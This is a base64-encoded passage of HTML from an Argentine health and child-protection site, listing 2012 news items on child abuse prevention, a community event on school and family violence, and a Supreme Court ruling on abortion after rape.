jAiIGFsaWduPSJhYnNtaWRkbGUiIC8+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI0NSUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MjU1IiBjbGFzcz0iYm90b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIERpcGxvbWF0dXJhIGVuIEFib3JkYWplIGludGVyZGlzY2lwbGluYXJpbyBkZWwgbWFsdHJhdG8sIGxhIHZpb2xlbmNpYSB5IGVsIGFidXNvIHNleHVhbCBpbmZhbnRpbCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyJSIgaGVpZ2h0PSIyMCIgdmFsaWduPSJtaWRkbGUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MzAzIiBjbGFzcz0iYm90b24iPjxpbWcgc3JjPSJpbWcvZmxlY2hhbmFyYW5qYWZncmlzXzI0LmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjciIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQxJSIgaGVpZ2h0PSIzMCIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MzAzIiBjbGFzcz0iYm90b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNhbHVkIEFjdGl2YSBuZWNlc2l0YSBkZSB0dSBheXVkYSEgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjklIiBiZ2NvbG9yPSIjRUZFRkVGIj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMyUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MTA0IiBjbGFzcz0iYm90b24iPjxpbWcgc3JjPSJpbWcvZmxlY2hhbmFyYW5qYWZncmlzXzI0LmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjciIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQ1JSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0xMDQiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTGxhbWFkbyBwYXJhIHByZXNlbnRhY2nzbiBkZSB0cmFiYWpvcy4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjIwIiBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIyMCIgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGJnY29sb3I9IiNGRkZGRkYiIGNsYXNzPSJ0ZXh0b251ZXZvIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iIyIgY2xhc3M9ImJvdG9uIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgPC90YWJsZT48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj4mbmJzcDs8L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBJTklDSU8gbm90YSBjb211biAtLT4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MTUvMDQvMjAxMjwvc3Bhbj48YnI+T3JnYW5pemFuIGpvcm5hZGEgc29icmUgdmlvbGVuY2lhPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPlNlIGNlbnRyYXImYWFjdXRlOyBlbiBsb3MgZmVuJm9hY3V0ZTttZW5vcyBxdWUgYWZlY3RhbiBhIGxhIGZhbWlsaWEgeSBlbiBsbyBxdWUgb2N1cnJlIGVuIGxhcyBlc2N1ZWxhcy48YnIgLz4gU2UgbGxldmFyJmFhY3V0ZTsgYSBjYWJvIGVsIGx1bmVzIDIzLCBlbiBlbCBDZW50cm8gQ3VsdHVyYWwgZGUgVG9zY2hpIHkgVHJlcyANCkFycm95b3MsIHVuYSBqb3JuYWRhIGRlIHJlZmxleGkmb2FjdXRlO24geSBkZWJhdGUgYWJpZXJ0YSBhIGxhIGNvbXVuaWRhZCBzb2JyZSANCiZsZHF1bztWaW9sZW5jaWEgZW4gbGEgZmFtaWxpYSB5IGVuIGxhIGVzY3VlbGEgeSBzdSByZWxhY2kmb2FjdXRlO24gY29uIGVsIGZyYWNhc28gDQplc2NvbGFyJnJkcXVvOywgb3JnYW5pemFkYSBwb3IgbGEgQXNvY2lhY2kmb2FjdXRlO24gQ2l2aWwgQ2VudHJvIEFydCZlYWN1dGU7bWlkZXMgeSBsYSANCk11bmljaXBhbGlkYWQgZGUgQ2lwb2xsZXR0aS5TZSBjZW50cmFyJmFhY3V0ZTsgZW4gbG9zIGZlbiZvYWN1dGU7bWVub3MgcXVlIGFmZWN0YW4gYSBsYSBmYW1pbGlhIHkgZW4gbG8gcXVlIG9jdXJyZSBlbiBsYXMgZXNjdWVsYXMuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjMwLzAzLzIwMTI8L3NwYW4+PGJyPkNhcnRhIGRlIEFTQVBNSSAtIEFzb2NpYWNp824gQXJnZW50aW5hIGRlIFByZXZlbmNp824gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbDwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjE1IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSIxNSIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjgwIiBjb2xzcGFuPSI0IiBhbGlnbj0ibGVmdCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Mb3MgaW50ZWdyYW50ZXMgZGUgbGEgQ29taXNpJm9hY3V0ZTtuIERpcmVjdGl2YSBkZSBBU0FQTUkgLSBBc29jaWFjaSZvYWN1dGU7biBBcmdlbnRpbmEgZGUgUHJldmVuY2kmb2FjdXRlO24gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbCwgYXNvY2lhZGEgYSBsYSBJbnRlcm5hdGlvbmFsIFNvY2lldHkgZm9yIFByZXZlbnRpb24gb2YgQ2hpbGQgQWJ1c2UgYW5kIE5lZ2xlY3QgKElTUENBTikgLSwgdGVuZW1vcyBlbCBhZ3JhZG8gZGUgZGlyaWdpcm5vcyBhIFVzdGVkIHBhcmEgdHJhc21pdGlybGUgbnVlc3RyYSBwcm9mdW5kYSAmbmJzcDt5IGhvbmRhIHByZW9jdXBhY2kmb2FjdXRlO24gcG9yIGxhIHBvc3R1cmEgcXVlIHZpZW5lbiBhc3VtaWVuZG8gZW4gZm9ybWEgY29udGludWFkYSBhbGd1bm9zIGNvbGVnaW9zIGRlIHBzaWMmb2FjdXRlO2xvZ29zLCBlc3BlY2lhbG1lbnRlIGRlIGxhIHByb3ZpbmNpYSBkZSBCdWVub3MgQWlyZXMsIGVuIHJlbGFjaSZvYWN1dGU7biBhbCB0cmF0YW1pZW50byBwb2NvIHNlcmlvIHkgY29tcHJvbWV0aWRvIHF1ZSBzZSBsZXMgb3RvcmdhIGEgbGFzIGRlbnVuY2lhcyBlZmVjdHVhZGFzIGNvbnRyYSBwcm9mZXNpb25hbGVzIHBzaWMmb2FjdXRlO2xvZ29zLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MjAvMDMvMjAxMjwvc3Bhbj48YnI+TEEgVklPTEVOQ0lBIFNFWFVBTCBDT05UUkEgTknRT1MgWSBOSdFBUyBFTiBDSUZSQVM8L3RkPgogICAgICAgICAgPC90cj4KICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkIHdpZHRoPSIxNSIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4MCIgY29sc3Bhbj0iNCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+UmFkaW9ncmFmJmlhY3V0ZTthIGRlIHVuIHByb2JsZW1hPC9wPg0KPHA+RGUgbG9zIG4mdWFjdXRlO21lcm9zIGNvbXBpbGFkb3MgcG9yIGRvcyBlcXVpcG9zIGRlbCBNaW5pc3RlcmlvIGRlIEp1c3RpY2lhLCBsYQ0KIGF1dG9yYSB0b21hIGxvcyBkZSBsYSBjaXVkYWQgZGUgQnVlbm9zIEFpcmVzIHBhcmEgdHJhemFyIHVuIHBhcmFkaWdtYSANCmRlIGxvcyBkZWxpdG9zIGNvbnRyYSBsYSBpbnRlZ3JpZGFkIHNleHVhbCBlbiBlbCBwYSZpYWN1dGU7cyB5IHNvYnJlIHN1IA0KYXRlbmNpJm9hY3V0ZTtuLjxiciAvPiA8YnIgLz4gJm5ic3A7UG9yIEV2YSBHaWJlcnRpPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2MCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjAiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjE1LzAzLzIwMTI8L3NwYW4+PGJyPkZBTExPIERFIExBIENPUlRFIFNVUFJFTUEgU09CUkUgTEEgTk8gSlVESUNJQUxJWkFDSU9OIERFTCBBQk9SVE8gRU4gQ0FTT1MgREUgVklPTEFDSU9OPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPjxiciAvPiBKVVJJU0RJQ0NJT046IE5BQ0lPTkFMPGJyIC8+IE1BVEVSSUE6IEFCT1JUTy48YnIgLz4gVFJJQlVOQUw6IENvcnRlIFN1cHJlbWEgZGUgSnVzdGljaWEgZGUgbGEgTmFjaSZvYWN1dGU7bi48YnIgLz4gQVVUT1M6IEYuLCBBLiBMLiBzLyBtZWRpZGEgYXV0b3NhdGlzZmFjdGl2YS48YnIgLz4gRkVDSEE6IDEzLzAzLzIwMTIuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI1OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNTkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBGSU4gbm90YSBjb211biAtLT4KPC90YWJsZT4KPG1hcCBuYW1lPSJNYXBNYXAiIGlkPSJNYXBNYXAiPjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjE0NCw0LDIxNCwzNiIgaHJlZj0iaW5kZXgucGhwP2lkPTE0IiAvPgo8L21hcD4KPG1hcCBuYW1lPSJNYXAyTWFwMiIgaWQ9Ik1hcDJNYXAyIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIxNDcsNCwyMjAsMzYiIGhyZWY9ImluZGV4LnBocD9pZD0xNGEiIC8+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcDMiIGlkPSJNYXAzIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIzNjMsMyw0MzYsMzkiIGhyZWY9ImluZGV4LnBocD9pZD0xNGIiIC8+CjwvbWFwPgo8L2h0bWw+CjwvdGQ+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gICAgICAgICAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFM0UzRTMiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSI3MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNiUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9